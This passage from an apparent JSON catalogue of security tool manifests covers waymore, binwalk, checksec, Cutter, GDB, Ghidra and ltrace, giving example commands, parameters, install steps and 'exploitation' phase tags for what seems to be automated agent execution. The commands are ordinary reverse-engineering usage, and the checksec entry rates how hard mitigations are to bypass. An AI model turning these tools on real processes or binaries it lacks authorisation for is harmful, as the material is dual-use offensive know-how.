        "description": "Filter mode (only-urls, only-params, both)",
        "aliases": [
          "-m",
          "--mode"
        ],
        "flag": "-m"
      },
      {
        "name": "flag-fetch",
        "type": "boolean",
        "required": false,
        "description": "Fetch status codes for discovered URLs",
        "aliases": [
          "-f",
          "--fetch"
        ],
        "flag": "-f"
      },
      {
        "name": "flag-pull",
        "type": "boolean",
        "required": false,
        "description": "Pull page content from archive",
        "aliases": [
          "-p",
          "--pull"
        ],
        "flag": "-p"
      },
      {
        "name": "flag-verbose",
        "type": "boolean",
        "required": false,
        "description": "Verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "recon",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "waymore GitHub",
        "url": "https://github.com/xnl-h4ck3r/waymore"
      }
    ],
    "related_tools": [
      "waybackurls",
      "gau",
      "unfurl",
      "katana"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [
      "HTTP"
    ],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "historical-urls",
        "url-list"
      ],
      "consumes": [
        "target-domain"
      ]
    }
  },
  {
    "_body": "\n# Binwalk — Firmware Analysis Tool\n\nBinwalk is a firmware analysis tool that scans binary files for embedded files and filesystems using signature matching. It can extract filesystems (Squashfs, JFFS2, etc.), identify compression types, and perform entropy analysis.\n\n## Key Features\n\n- **Signature scanning**: Detects hundreds of file signatures\n- **Filesystem extraction**: Automatically extracts Squashfs, Cramfs, JFFS2, and more\n- **Entropy analysis**: Identifies encrypted or compressed regions\n- **Opcode detection**: Identifies CPU architecture of embedded code\n\n## Typical Workflow\n\n```bash\n# Step 1: Scan for signatures\nbinwalk firmware.bin\n\n# Step 2: Extract discovered filesystems\nbinwalk -Me firmware.bin\n\n# Step 3: Analyze entropy for hidden regions\nbinwalk --entropy firmware.bin\n```\n",
    "_source": "security-reverse-binwalk.md",
    "allowed-tools": [
      "binwalk",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "firmware.analysis",
      "file.extraction",
      "signature.scanning",
      "binary.forensics"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Firmware or binary blob to analyze"
        }
      ],
      "outputs": [
        {
          "type": "file.extracted",
          "description": "Extracted files and filesystems",
          "mime": "application/octet-stream"
        },
        {
          "type": "report.signature",
          "description": "Signature scan report",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 512,
        "network": "low",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "Firmware analysis tool for extracting filesystems, identifying embedded files, and scanning binary blobs for signatures.",
    "examples": [
      {
        "description": "Extract firmware filesystems",
        "command": "binwalk -e firmware.bin"
      },
      {
        "description": "Recursive extraction with all nested filesystems",
        "command": "binwalk -Me firmware.bin"
      },
      {
        "description": "Signature scan only, no extraction",
        "command": "binwalk firmware.bin"
      },
      {
        "description": "Entropy analysis of firmware blob",
        "command": "binwalk --entropy firmware.bin"
      },
      {
        "description": "Scan with opcode identification",
        "command": "binwalk --opcodes firmware.bin"
      },
      {
        "description": "JSON output with entropy calculation",
        "command": "binwalk -j --entropy firmware.bin"
      }
    ],
    "execution": {
      "template": "binwalk -e {firmware-file}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "global_vars": {
      "firmware-file": ""
    },
    "id": "security-reverse-binwalk",
    "install": [
      {
        "method": "apt",
        "package_name": "binwalk",
        "commands": [
          "apt-get install -y binwalk"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "binwalk",
    "namespace": "security:reverse:binwalk",
    "parameters": [
      {
        "name": "extract",
        "type": "boolean",
        "required": false,
        "description": "Extract files automatically",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      },
      {
        "name": "matryoshka",
        "type": "boolean",
        "required": false,
        "description": "Recursively extract embedded filesystems",
        "aliases": [
          "-M"
        ],
        "flag": "-M"
      },
      {
        "name": "remove",
        "type": "boolean",
        "required": false,
        "description": "Remove extracted file after scanning",
        "aliases": [
          "-r"
        ],
        "flag": "-r"
      },
      {
        "name": "depth",
        "type": "integer",
        "required": false,
        "description": "Maximum recursion depth",
        "aliases": [
          "-d"
        ],
        "flag": "-d"
      },
      {
        "name": "include",
        "type": "string",
        "required": false,
        "description": "Only scan for matching signatures",
        "aliases": [
          "-y"
        ],
        "flag": "-y"
      },
      {
        "name": "exclude",
        "type": "string",
        "required": false,
        "description": "Exclude matching signatures",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "signature",
        "type": "boolean",
        "required": false,
        "description": "Perform signature scanning",
        "aliases": [
          "-S",
          "--signature"
        ],
        "flag": "-S"
      },
      {
        "name": "entropy",
        "type": "boolean",
        "required": false,
        "description": "Calculate file entropy",
        "aliases": [
          "--entropy"
        ],
        "flag": "--entropy"
      },
      {
        "name": "opcodes",
        "type": "boolean",
        "required": false,
        "description": "Identify CPU opcodes in firmware",
        "aliases": [
          "--opcodes"
        ],
        "flag": "--opcodes"
      },
      {
        "name": "dd",
        "type": "string",
        "required": false,
        "description": "Dump region to file (type:offset:size)",
        "aliases": [
          "--dd"
        ],
        "flag": "--dd"
      },
      {
        "name": "csv",
        "type": "boolean",
        "required": false,
        "description": "Output in CSV format",
        "aliases": [
          "-c"
        ],
        "flag": "-c"
      },
      {
        "name": "json",
        "type": "boolean",
        "required": false,
        "description": "Output in JSON format",
        "aliases": [
          "-j"
        ],
        "flag": "-j"
      },
      {
        "name": "I",
        "type": "boolean",
        "required": false,
        "description": "show invalid/partial results",
        "aliases": [
          "-I",
          "--invalid"
        ],
        "flag": "-I"
      },
      {
        "name": "T",
        "type": "boolean",
        "required": false,
        "description": "only show results of given type",
        "aliases": [
          "-T"
        ],
        "flag": "-T"
      },
      {
        "name": "W",
        "type": "boolean",
        "required": false,
        "description": "warn about suspicious signatures",
        "aliases": [
          "-W",
          "--warn"
        ],
        "flag": "-W"
      },
      {
        "name": "l",
        "type": "boolean",
        "required": false,
        "description": "limit scanning to length bytes",
        "aliases": [
          "-l"
        ],
        "flag": "-l"
      },
      {
        "name": "q",
        "type": "boolean",
        "required": false,
        "description": "suppress banner",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "v",
        "type": "boolean",
        "required": false,
        "description": "verbose output",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "foremost",
      "volatility",
      "strings",
      "hexdump"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 512,
      "network": "low",
      "disk_io": "high"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "extracted-files",
        "firmware-report",
        "entropy-graph"
      ],
      "consumes": [
        "firmware-file",
        "binary-blob"
      ]
    }
  },
  {
    "_body": "\n\n# checksec — Binary Security Hardening Checker\n\nchecksec analyzes ELF binaries and reports on the security mitigations they employ. It is essential for understanding which exploitation techniques may be viable against a given target.\n\n## Mitigations Checked\n\n| Mitigation | Description | Bypass Difficulty |\n|------------|-------------|-------------------|\n| PIE | Position Independent Executable | Medium |\n| NX | Non-Executable Stack | Medium |\n| RELRO | Relocation Read-Only | Low-High |\n| Stack Canary | Stack Overflow Protection | Medium |\n| FORTIFY | Fortified Source Functions | Low |\n\n## Example Output\n\n```\nRELRO           STACK CANARY      NX            PIE             RPATH    RUNPATH    Symbols         FORTIFY    Fortified    Fortifiable    FILE\nFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH No RUNPATH   76) Symbols      Yes       5            18             /bin/ls\n```\n",
    "_source": "security-reverse-checksec.md",
    "allowed-tools": [
      "checksec",
      "python3",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "binary.security.check",
      "hardening.analysis",
      "mitigation.detection"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "ELF binary to check"
        }
      ],
      "outputs": [
        {
          "type": "report.security",
          "description": "Security mitigation analysis",
          "mime": "text/plain"
        },
        {
          "type": "report.json",
          "description": "Security report in JSON",
          "mime": "application/json"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary hardening checker that reports PIE, NX, RELRO, Stack Canary, and other security mitigations on ELF binaries.",
    "examples": [
      {
        "description": "Check security of a binary",
        "command": "checksec --file=/bin/ls"
      },
      {
        "description": "Check running process security",
        "command": "checksec --proc 1234"
      },
      {
        "description": "Output JSON format",
        "command": "checksec --file=/bin/ls --format=json"
      },
      {
        "description": "Check kernel security mitigations",
        "command": "checksec --kernel"
      },
      {
        "description": "Check multiple binaries",
        "command": "checksec --file=/bin/ls --file=/bin/bash --format=json"
      }
    ],
    "execution": {
      "template": "checksec --file={binary}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "binary": ""
    },
    "id": "security-reverse-checksec",
    "install": [
      {
        "method": "pip",
        "package_name": "checksec",
        "commands": [
          "pip install checksec"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "checksec",
    "namespace": "security:reverse:checksec",
    "parameters": [
      {
        "name": "file",
        "type": "string",
        "required": false,
        "description": "Check security on a specific binary file",
        "aliases": [
          "--file"
        ],
        "flag": "--file"
      },
      {
        "name": "elf",
        "type": "integer",
        "required": false,
        "description": "Check security of a process by PID",
        "aliases": [
          "--elf"
        ],
        "flag": "--elf"
      },
      {
        "name": "proc",
        "type": "integer",
        "required": false,
        "description": "Check /proc/PID/exe security",
        "aliases": [
          "--proc"
        ],
        "flag": "--proc"
      },
      {
        "name": "debug",
        "type": "boolean",
        "required": false,
        "description": "Enable debug output",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "kernel",
        "type": "boolean",
        "required": false,
        "description": "Check kernel security mitigations",
        "aliases": [
          "--kernel"
        ],
        "flag": "--kernel"
      },
      {
        "name": "output",
        "type": "string",
        "required": false,
        "description": "Write output to file",
        "aliases": [
          "--output"
        ],
        "flag": "--output"
      },
      {
        "name": "format",
        "type": "string",
        "required": false,
        "description": "Output format (json or csv)",
        "aliases": [
          "--format"
        ],
        "flag": "--format"
      },
      {
        "name": "listCheck",
        "type": "boolean",
        "required": false,
        "description": "List all available checks",
        "aliases": [
          "--list-check"
        ],
        "flag": "--list-check"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Show help message",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Show version information",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "pwntools",
      "ropgadget",
      "gdb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "security-report",
        "mitigation-summary"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n# Cutter — radare2 GUI\n\nCutter is a free and open-source reverse engineering platform powered by radare2. It provides a Qt-based graphical interface with disassembly, graph views, decompilation (via Ghidra's decompiler through rz-ghidra), and integrated debugging.\n\n## Key Views\n\n- **Disassembly**: Linear and graph-based instruction views\n- **Decompiler**: Pseudo-C output via Ghidra decompiler integration\n- **Hexdump**: Raw hex and structured data view\n- **Debugger**: Integrated debugging with breakpoints and memory inspection\n\n## Features\n\n- Scriptable via Python and JavaScript\n- Multiple architecture support through radare2 backend\n- Project management for saving analysis state\n- Plugin ecosystem for extensibility\n",
    "_source": "security-reverse-cutter.md",
    "allowed-tools": [
      "cutter",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "reverse.disassembly",
      "reverse.decompilation",
      "reverse.debugging",
      "reverse.analysis"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary file to analyze"
        }
      ],
      "outputs": [
        {
          "type": "analysis.disassembly",
          "description": "Disassembled instruction listing",
          "mime": "text/plain"
        },
        {
          "type": "analysis.decompiled",
          "description": "Decompiled pseudo-C code",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 512,
        "network": "low",
        "disk_io": "medium"
      }
    },
    "dependencies": [],
    "description": "Qt-based GUI for radare2 providing disassembly, decompilation (via Ghidra/rz-ghidra), and debugging capabilities.",
    "examples": [
      {
        "description": "Open binary in Cutter GUI",
        "command": "cutter /bin/ls"
      },
      {
        "description": "Open with auto-analysis enabled",
        "command": "cutter -A /bin/ls"
      },
      {
        "description": "Open in write mode for patching",
        "command": "cutter -w /bin/ls"
      },
      {
        "description": "Open with specific architecture setting",
        "command": "cutter -a arm -b 32 firmware.bin"
      }
    ],
    "execution": {
      "template": "cutter {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin"
    ],
    "global_vars": {
      "binary": ""
    },
    "id": "security-reverse-cutter",
    "install": [
      {
        "method": "apt",
        "package_name": "cutter",
        "commands": [
          "apt-get install -y cutter"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "cutter",
    "namespace": "security:reverse:cutter",
    "parameters": [
      {
        "name": "autoAnalyze",
        "type": "boolean",
        "required": false,
        "description": "Automatically analyze the binary on open",
        "aliases": [
          "-A"
        ],
        "flag": "-A"
      },
      {
        "name": "noSave",
        "type": "boolean",
        "required": false,
        "description": "Do not save project on exit",
        "aliases": [
          "-z"
        ],
        "flag": "-z"
      },
      {
        "name": "writeMode",
        "type": "boolean",
        "required": false,
        "description": "Open file in write mode for patching",
        "aliases": [
          "-w"
        ],
        "flag": "-w"
      },
      {
        "name": "arch",
        "type": "string",
        "required": false,
        "description": "Set target architecture",
        "aliases": [
          "-a"
        ],
        "flag": "-a"
      },
      {
        "name": "bits",
        "type": "integer",
        "required": false,
        "description": "Set CPU bits (32 or 64)",
        "aliases": [
          "-b"
        ],
        "flag": "-b"
      },
      {
        "name": "file",
        "type": "string",
        "required": false,
        "description": "Binary file to open"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "Display help message",
        "aliases": [
          "-h"
        ],
        "flag": "-h"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "Show version information",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "related_tools": [
      "radare2",
      "ghidra",
      "gdb"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 512,
      "network": "low",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "disassembly",
        "decompiled-code",
        "analysis-graphs"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n# GDB — GNU Debugger\n\nGDB is the standard debugger for compiled Unix programs, supporting C, C++, Rust, Go, and many other languages. It enables instruction-level debugging, memory/register inspection, disassembly, and reverse engineering.\n\n## Common Debugging Commands\n\n| Command | Description |\n|---------|-------------|\n| `disassemble main` | Disassemble the main function |\n| `info registers` | Show CPU register values |\n| `x/16xw $rsp` | Examine 16 words on the stack |\n| `bt` | Print backtrace |\n| `break *0x400510` | Set breakpoint at address |\n| `ni` | Execute next instruction |\n| `si` | Step into instruction |\n\n## Batch Analysis\n\n```bash\ngdb -q -batch -ex \"file /bin/ls\" -ex \"disassemble main\" -ex \"info functions\"\n```\n",
    "_source": "security-reverse-gdb.md",
    "allowed-tools": [
      "gdb",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "reverse.debugging",
      "reverse.disassembly",
      "reverse.analysis",
      "debug.memory.inspect",
      "debug.register.inspect"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary to debug"
        },
        {
          "type": "file.core",
          "description": "Core dump file for post-mortem analysis"
        }
      ],
      "outputs": [
        {
          "type": "debug.backtrace",
          "description": "Stack backtrace",
          "mime": "text/plain"
        },
        {
          "type": "debug.disassembly",
          "description": "Disassembled code",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU Project debugger for analyzing program execution, reverse engineering binaries, and debugging crashes.",
    "examples": [
      {
        "description": "Attach to a running process",
        "command": "gdb -p 1234"
      },
      {
        "description": "Analyze a core dump",
        "command": "gdb /bin/ls core.dump -batch -ex bt"
      },
      {
        "description": "Disassemble main function in batch mode",
        "command": "gdb -q -batch -ex \"disassemble main\" /bin/ls"
      },
      {
        "description": "Run with commands from a file",
        "command": "gdb -x commands.gdb /bin/ls"
      },
      {
        "description": "Inspect registers and memory",
        "command": "gdb -q -ex \"info registers\" -ex \"x/16xw \\$rsp\" -batch /bin/ls"
      }
    ],
    "execution": {
      "template": "gdb -q -ex \"{command}\" {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin"
    ],
    "global_vars": {
      "binary": "",
      "command": ""
    },
    "id": "security-reverse-gdb",
    "install": [
      {
        "method": "apt",
        "package_name": "gdb",
        "commands": [
          "apt-get install -y gdb"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "gdb",
    "namespace": "security:reverse:gdb",
    "parameters": [
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "Suppress introductory banner and warnings",
        "aliases": [
          "-q"
        ],
        "flag": "-q"
      },
      {
        "name": "ex",
        "type": "string",
        "required": false,
        "description": "Execute a single GDB command",
        "aliases": [
          "-ex"
        ],
        "flag": "-ex"
      },
      {
        "name": "x",
        "type": "string",
        "required": false,
        "description": "Execute GDB commands from file",
        "aliases": [
          "-x"
        ],
        "flag": "-x"
      },
      {
        "name": "pid",
        "type": "integer",
        "required": false,
        "description": "Attach to a running process by PID",
        "aliases": [
          "-p"
        ],
        "flag": "-p"
      },
      {
        "name": "batch",
        "type": "boolean",
        "required": false,
        "description": "Run in batch mode (no interactive shell)",
        "aliases": [
          "-batch"
        ],
        "flag": "-batch"
      },
      {
        "name": "symbols",
        "type": "string",
        "required": false,
        "description": "Read symbol table from file",
        "aliases": [
          "-s",
          "--symbols"
        ],
        "flag": "-s"
      },
      {
        "name": "exec",
        "type": "string",
        "required": false,
        "description": "Use specified file as the executable",
        "aliases": [
          "--exec"
        ],
        "flag": "--exec"
      },
      {
        "name": "core",
        "type": "string",
        "required": false,
        "description": "Use specified file as the core dump",
        "aliases": [
          "--core"
        ],
        "flag": "--core"
      },
      {
        "name": "cd",
        "type": "string",
        "required": false,
        "description": "Change to directory before starting",
        "aliases": [
          "--cd"
        ],
        "flag": "--cd"
      },
      {
        "name": "nx",
        "type": "boolean",
        "required": false,
        "description": "Do not read .gdbinit file",
        "aliases": [
          "-nx"
        ],
        "flag": "-nx"
      },
      {
        "name": "nh",
        "type": "boolean",
        "required": false,
        "description": "Do not read .gdbearlyinit file",
        "aliases": [
          "-nh"
        ],
        "flag": "-nh"
      },
      {
        "name": "tty",
        "type": "string",
        "required": false,
        "description": "Set the terminal for GDB I/O",
        "aliases": [
          "--tty"
        ],
        "flag": "--tty"
      },
      {
        "name": "args",
        "type": "boolean",
        "required": false,
        "description": "pass remaining args to program",
        "aliases": [
          "--args"
        ],
        "flag": "--args"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "related_tools": [
      "radare2",
      "ltrace",
      "strace",
      "pwndbg",
      "pwntools"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "disassembly",
        "stack-traces",
        "register-dumps"
      ],
      "consumes": [
        "binary",
        "core-dump"
      ]
    }
  },
  {
    "_body": "\n\n# Ghidra — NSA Reverse Engineering Framework\n\nGhidra is a full-featured reverse engineering platform developed by the NSA. It provides disassembly, decompilation, debugging, and scriptable program analysis capabilities with support for multiple processor architectures and file formats.\n\n## Key Features\n\n- **Decompiler**: Converts assembly to pseudo-C for easier analysis\n- **Multi-architecture**: x86, ARM, MIPS, PowerPC, RISC-V, and many more\n- **Scriptable**: Python and Java scripting APIs for automation\n- **Collaborative**: Multi-user project support for team analysis\n- **Headless mode**: Automated batch analysis without GUI\n\n## Modes\n\n| Mode | Command | Description |\n|------|---------|-------------|\n| GUI | `ghidra` | Launch the graphical interface |\n| Headless | `ghidraHeadless <project> <name> -import <file>` | Batch analysis without GUI |\n| Scripting | `ghidraHeadless ... -preScript <script>` | Automated script execution |\n\n## Common Headless Workflow\n\n```bash\n# Create project and import binary\nghidraHeadless /tmp/proj MyProject -import target.bin\n\n# Analyze with custom scripts\nghidraHeadless /tmp/proj MyProject -process target.bin -preScript analyze.py\n```\n",
    "_source": "security-reverse-ghidra.md",
    "allowed-tools": [
      "ghidra",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "reverse.disassembly",
      "reverse.decompilation",
      "reverse.debugging",
      "reverse.analysis",
      "reverse.scripting"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary file for analysis"
        }
      ],
      "outputs": [
        {
          "type": "analysis.decompiled",
          "description": "Decompiled source code",
          "mime": "text/plain"
        },
        {
          "type": "analysis.disassembly",
          "description": "Disassembled instruction listing",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "high",
        "memory_mb": 4096,
        "network": "low",
        "disk_io": "high"
      }
    },
    "dependencies": [],
    "description": "NSA's reverse engineering framework with disassembly, decompilation, debugging, and scriptable analysis.",
    "examples": [
      {
        "description": "Launch Ghidra GUI",
        "command": "ghidra"
      },
      {
        "description": "Headless import and analyze a binary",
        "command": "ghidraHeadless /tmp/project TestProject -import /bin/ls -analysisTimeoutPerFile 300"
      },
      {
        "description": "Headless analysis with pre and post scripts",
        "command": "ghidraHeadless /tmp/project TestProject -process /bin/ls -preScript PreScript.java -postScript PostScript.java -scriptPath /scripts"
      },
      {
        "description": "Recursive import with read-only mode",
        "command": "ghidraHeadless /tmp/project TestProject -recursive -readOnly -import /firmware/dir"
      },
      {
        "description": "Run with custom memory limit",
        "command": "ghidra -maxMemory 8G"
      }
    ],
    "execution": {
      "template": "ghidra",
      "sandbox": "execFile",
      "timeout_seconds": 3600,
      "shell": false
    },
    "execution_policy": "enabled",
    "global_vars": {
      "binary": "",
      "project": "",
      "output_dir": "./ghidra_out"
    },
    "id": "security-reverse-ghidra",
    "install": [
      {
        "method": "git",
        "repo_url": "https://github.com/NationalSecurityAgency/ghidra.git",
        "commands": [
          "git clone https://github.com/NationalSecurityAgency/ghidra.git"
        ]
      }
    ],
    "items": [
      "NoCreds"
    ],
    "name": "ghidra",
    "namespace": "security:reverse:ghidra",
    "parameters": [
      {
        "name": "import",
        "type": "string",
        "required": false,
        "description": "Import a binary file into a new project",
        "aliases": [
          "-import"
        ],
        "flag": "-import"
      },
      {
        "name": "process",
        "type": "string",
        "required": false,
        "description": "Process a specific program in an existing project",
        "aliases": [
          "-process"
        ],
        "flag": "-process"
      },
      {
        "name": "analysisTimeoutPerFile",
        "type": "integer",
        "required": false,
        "description": "Timeout in seconds for analysis per file",
        "aliases": [
          "-analysisTimeoutPerFile"
        ],
        "flag": "-analysisTimeoutPerFile"
      },
      {
        "name": "recursive",
        "type": "boolean",
        "required": false,
        "description": "Recursively import files in directories",
        "aliases": [
          "-recursive"
        ],
        "flag": "-recursive"
      },
      {
        "name": "readOnly",
        "type": "boolean",
        "required": false,
        "description": "Open project in read-only mode",
        "aliases": [
          "-readOnly"
        ],
        "flag": "-readOnly"
      },
      {
        "name": "preScript",
        "type": "string",
        "required": false,
        "description": "Script to run before analysis",
        "aliases": [
          "-preScript"
        ],
        "flag": "-preScript"
      },
      {
        "name": "postScript",
        "type": "string",
        "required": false,
        "description": "Script to run after analysis",
        "aliases": [
          "-postScript"
        ],
        "flag": "-postScript"
      },
      {
        "name": "scriptPath",
        "type": "string",
        "required": false,
        "description": "Path to script directories",
        "aliases": [
          "-scriptPath"
        ],
        "flag": "-scriptPath"
      },
      {
        "name": "propertiesPath",
        "type": "string",
        "required": false,
        "description": "Path to project properties file",
        "aliases": [
          "-propertiesPath"
        ],
        "flag": "-propertiesPath"
      },
      {
        "name": "maxMemory",
        "type": "string",
        "required": false,
        "description": "Maximum memory for the JVM (e.g. 4G)",
        "aliases": [
          "-maxMemory"
        ],
        "flag": "-maxMemory"
      },
      {
        "name": "ghidraRun",
        "type": "string",
        "required": false,
        "description": "Path to the ghidraRun script (launcher)",
        "aliases": [
          "ghidraRun"
        ],
        "flag": "ghidraRun"
      },
      {
        "name": "ghidraHeadless",
        "type": "string",
        "required": false,
        "description": "Path to the headless analyzer script",
        "aliases": [
          "ghidraHeadless"
        ],
        "flag": "ghidraHeadless"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "related_tools": [
      "radare2",
      "cutter",
      "gdb",
      "ida"
    ],
    "resource_profile": {
      "cpu": "high",
      "memory_mb": 4096,
      "network": "low",
      "disk_io": "high"
    },
    "risk_level": "low",
    "services": [],
    "techniques": [
      "discovery",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "disassembly",
        "decompiled-code",
        "analysis-results"
      ],
      "consumes": [
        "binary"
      ]
    }
  },
  {
    "_body": "\n# ltrace — Library Call Tracer\n\nltrace intercepts and logs dynamic library calls made by a program. It is essential for understanding program behavior during reverse engineering, particularly for identifying library function usage patterns.\n\n## Common Use Cases\n\n- Identify which library functions a binary calls\n- Analyze encryption routines by tracing crypto library calls\n- Reverse engineer file I/O operations\n- Profile program execution without source code\n\n## Example Output\n\n```\n__libc_start_main(0x4026c0, 1, 0x7ffcdb2a6f58, 0x404540, 0x4045b0 <unfinished ...>\nstrlen(\".\")                                    = 1\nmalloc(3)                                      = 0x55d4c8a0c260\nstrcpy(0x55d4c8a0c260, \".\")                    = 0x55d4c8a0c260\n```\n",
    "_source": "security-reverse-ltrace.md",
    "allowed-tools": [
      "ltrace",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "attack_types": [
      "Exploitation",
      "Discovery"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "trace.library.call",
      "reverse.analysis",
      "debug.tracing"
    ],
    "contract": {
      "inputs": [
        {
          "type": "file.binary",
          "description": "Binary to trace library calls"
        },
        {
          "type": "system.pid",
          "description": "Process ID to attach to"
        }
      ],
      "outputs": [
        {
          "type": "trace.library",
          "description": "Library call trace log",
          "mime": "text/plain"
        },
        {
          "type": "trace.summary",
          "description": "Library call summary",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Library call tracer for monitoring dynamic library calls made by a running program.",
    "examples": [
      {
        "description": "Count library calls with summary",
        "command": "ltrace -c /bin/ls"
      },
      {
        "description": "Trace specific library only",
        "command": "ltrace -l libc.so.6 /bin/ls"
      },
      {
        "description": "Attach to running process",
        "command": "ltrace -p 1234"
      },
      {
        "description": "Show syscalls and library calls",
        "command": "ltrace -S /bin/ls"
      },
      {
        "description": "Trace with timestamps and call durations",
        "command": "ltrace -t -T /bin/ls"
      },
      {
        "description": "Write trace to file",
        "command": "ltrace -o trace.log /bin/ls"
      }
    ],
    "execution": {
      "template": "ltrace -c {binary}",
      "sandbox": "execFile",
      "timeout_seconds": 120,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip",
      "streaming"
    ],
    "global_vars": {
      "binary": ""
    },
